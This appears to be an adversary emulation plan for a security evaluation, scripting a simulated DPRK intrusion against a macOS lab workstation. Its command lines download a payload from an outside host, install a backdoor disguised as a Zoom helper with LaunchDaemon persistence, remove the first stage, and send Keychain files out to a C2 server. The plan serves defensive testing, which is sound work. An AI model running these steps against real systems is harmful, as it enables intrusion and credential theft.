#
DPRK Scenario Overview
Legend of symbols:
- 💡 - callout notes
- ❗ - extremely important note
- ➡️ - Switching to another session
- ⭕ - Disconnect from RDP
- 🔴 - Sign out of RDP
- 📷 - take a screenshot
- 🕑 - Record timestamp
#
Step 0 - Red Setup
#
:biohazard: Procedures
Initiate an RDP session to the Kali attack host
corsair (223.246.0.70)
:In a new terminal window, start the evalsC2server, ensuring the following handlers are enabled:
- FULLHOUSE.DOORED
- STRATOFEAR
- Simple File Server
cd DPRK/Resources/control_server sudo go build -o controlServer main.go sudo tar xvf handlers/stratofear/stratofear-certs.zip -C handlers/stratofear sudo ./controlServer -c config/dprk.yml
Right-click within the terminal window and click "Split Terminal Horizontally". Within the new terminal, change directory to the location of the evalsC2client.py and use this terminal for tasking implants.
cd DPRK/Resources/control_server
➡️ Initiate an RDP session to the Windows jumpbox
spitfire (223.246.0.90)
#
Step 0 - Range Setup
➡️ From the Windows jumpbox
spitfire (223.246.0.90)
, initiate a VNC session to the macOS victim workstationhogshead (10.55.4.50)
asencryptpotter.net\ranrok
:At the macOS login screen, authenticate with the following credentials:
Open a Terminal and elevate to sudo, providing the following password when prompted:
sudo su
Execute the following command to download the initial payload.
curl -o /usr/local/bin/start.rb http://b0ring-t3min4l.kr/files/start.rb
#
Step 1 - Command and Control
#
🎤 Voice Track
Note
This plan starts after initial compromise, where the victim was compromised via supply chain attack resulting in execution of a malicious script in the elevated context
A supply chain attack results in execution of a malicious Ruby script in the elevated context. The Ruby script performs the following actions:
- Downloads two files:
/usr/local/bin/com.docker.sock
(FULLHOUSE.DOORED)/usr/local/bin/com.docker.sock.lock
(FULLHOUSE.DOORED configuration file)
- Executes FULLHOUSE.DOORED
FULLHOUSE.DOORED is a first-stage backdoor written in C++/Objective-C++. On
execution, it will load the configuration file then communicate over HTTP to
the C2 address defined in the configuration file (http://199.88.44.44
).
#
:biohazard: Procedures
From the elevated Terminal, execute the Ruby script:
cd /usr/local/bin/ ruby start.rb
➡️ On Kali, confirm C2 registration of FULLHOUSE.DOORED
📷 Screenshot the new FULLHOUSE.DOORED session registration in the C2 server output.
#
🔍 Reference Code & Reporting
ℹ️ NOTE: Not all techniques listed in this table directly map to evaluation substeps
#
Step 2 - Persistence
#
🎤 Voice Track
Next, DPRK uses FULLHOUSE.DOORED to setup and install STRATOFEAR, the second-stage backdoor.
DPRK uses FULLHOUSE.DOORED to download STRATOFEAR and its configuration file to
hogshead (10.55.4.50)
as /Library/PrivilegedHelperTools/us.zoom.ZoomHelperTool
and /Library/Fonts/pingfang.ttf.md5
respectively. Then, DPRK uses FULLHOUSE.DOORED
to create a LaunchDaemon for persistence and executes the LaunchDaemon to
execute STRATOFEAR.
On execution, STRATOFEAR loads its configuration file and communicates over
HTTPS to the C2 address defined in the configuration file
(http://199.88.44.96
).
#
:biohazard: Procedures
Task FULLHOUSE.DOORED to download STRATOFEAR to
hogshead (10.55.4.50)
:./evalsC2client.py --set-task 01A48A493AC92607E79CB427067C0A42 '{"id": 2, "payload": "stratofear", "arg":"/Library/PrivilegedHelperTools/us.zoom.ZoomHelperTool"}'
Task FULLHOUSE.DOORED to download STRATOFEAR's configuration file to
hogshead (10.55.4.50)
:./evalsC2client.py --set-task 01A48A493AC92607E79CB427067C0A42 '{"id": 2, "payload": "pingfang.ttf.md5", "arg":"/Library/Fonts/pingfang.ttf.md5"}'
Task FULLHOUSE.DOORED to download and create STRATOFEAR's LaunchDaemon:
./evalsC2client.py --set-task 01A48A493AC92607E79CB427067C0A42 '{"id": 2, "payload": "stratofear_launchd.plist", "arg":"/Library/LaunchDaemons/us.zoom.ZoomHelperTool.plist"}'
Task FULLHOUSE.DOORED to set STRATOFEAR as executable:
./evalsC2client.py --set-task 01A48A493AC92607E79CB427067C0A42 '{"id": 1, "arg": "chmod 0755 /Library/PrivilegedHelperTools/us.zoom.ZoomHelperTool"}'
Task FULLHOUSE.DOORED to execute STRATOFEAR via launchctl:
./evalsC2client.py --set-task 01A48A493AC92607E79CB427067C0A42 '{"id": 1, "arg": "launchctl load -w /Library/LaunchDaemons/us.zoom.ZoomHelperTool.plist"}'
Confirm C2 registration of STRATOFEAR
📷 Screenshot the registration of STRATOFEAR in the C2 server output.
#
🔍 Reference Code & Reporting
ℹ️ NOTE: Not all techniques listed in this table directly map to evaluation sub-steps
#
Step 3 - Defense Evasion
#
🎤 Voice Track
After installing the second-stage backdoor, DPRK removes the first-stage backdoor. FULLHOUSE.DOORED will remove its configuration file and binary on exit.
#
:biohazard: Procedures
Task FULLHOUSE.DOORED to exit and clean itself up:
./evalsC2client.py --set-task 01A48A493AC92607E79CB427067C0A42 '{"id": 1, "arg": "rm -f com.docker.sock com.docker.sock.lock && (sleep 7 && pkill com.docker.sock ) &"}'
📷 Screenshot the stopped beacons from FULLHOUSE.DOORED
#
🔍 Reference Code & Reporting
ℹ️ NOTE: Not all techniques listed in this table directly map to evaluation substeps
#
Step 4 - Collection
#
🎤 Voice Track
Next, DPRK uses STRATOFEAR to collect system information and exfiltrate targeted
Keychain files. STRATOFEAR executes the 0x07
command which collects and posts
the users, system, and OS information to the C2 server. STRATOFEAR then
downloads a module in the form of a macOS specific dynamic library
(.dylib file, similar to a .dll file for windows) Using the 0x62
command. The
module is saved to disk with a random 6 alphanumeric character filename in the
/tmp
folder. Using dlopen()
& dlsym()
API calls, the module is loaded into
STRATOFEAR's process space and executed. The module executed saves the
Keychain file paths to an environment variable. STRATOFEAR then executes the
0x64
command which uploads files to the C2 server using the paths saved in
the environment variables set using the dylib file. DRPK then tasks STRATOFEAR to
monitor for all devices mounted to the system using the 0x47
command.
#
:biohazard: Procedures
Task STRATOFEAR to collect system information:
./evalsC2client.py --set-task gidle '{"id": "0x07"}'
📷 Screenshot the collected system information.
Task STRATOFEAR to download and execute the Keychain module:
./evalsC2client.py --set-task gidle '{"id": "0x62", "args": "libmodule_keychain.dylib"}'
Task STRATOFEAR to retrieve the module execution results:
./evalsC2client.py --set-task gidle '{"id": "0x64"}'
📷 Screenshot the C2 server output of the successful file download.
Task STRATOFEAR to monitor for when a device is mounted to the system:
./evalsC2client.py --set-task gidle '{"id": "0x47"}'
⏩ Emulate the following legitimate user activity:
➡️ From the Windows jumpbox
spitfire (223.246.0.90)
, initiate a VNC session to the macOS victim workstationhogshead (10.55.4.50)
asencryptpotter.net\ranrok
or use the existing VNC session if one is already open.Open Safari and navigate to https://slack.com/downloads/mac
Download and install Slack on the host
🛑 END OF SCENARIO
#
Verifying Event Monitoring
Within the VNC to
hogshead (10.55.4.50)
, open a Terminal prompt and check the monitoring log file:cat /Library/Fonts/AppleSDGothicNeo.ttc.1
📷 Screenshot the output from the log file.
#
🔍 Reference Code & Reporting
ℹ️ NOTE: Not all techniques listed in this table directly map to evaluation sub-steps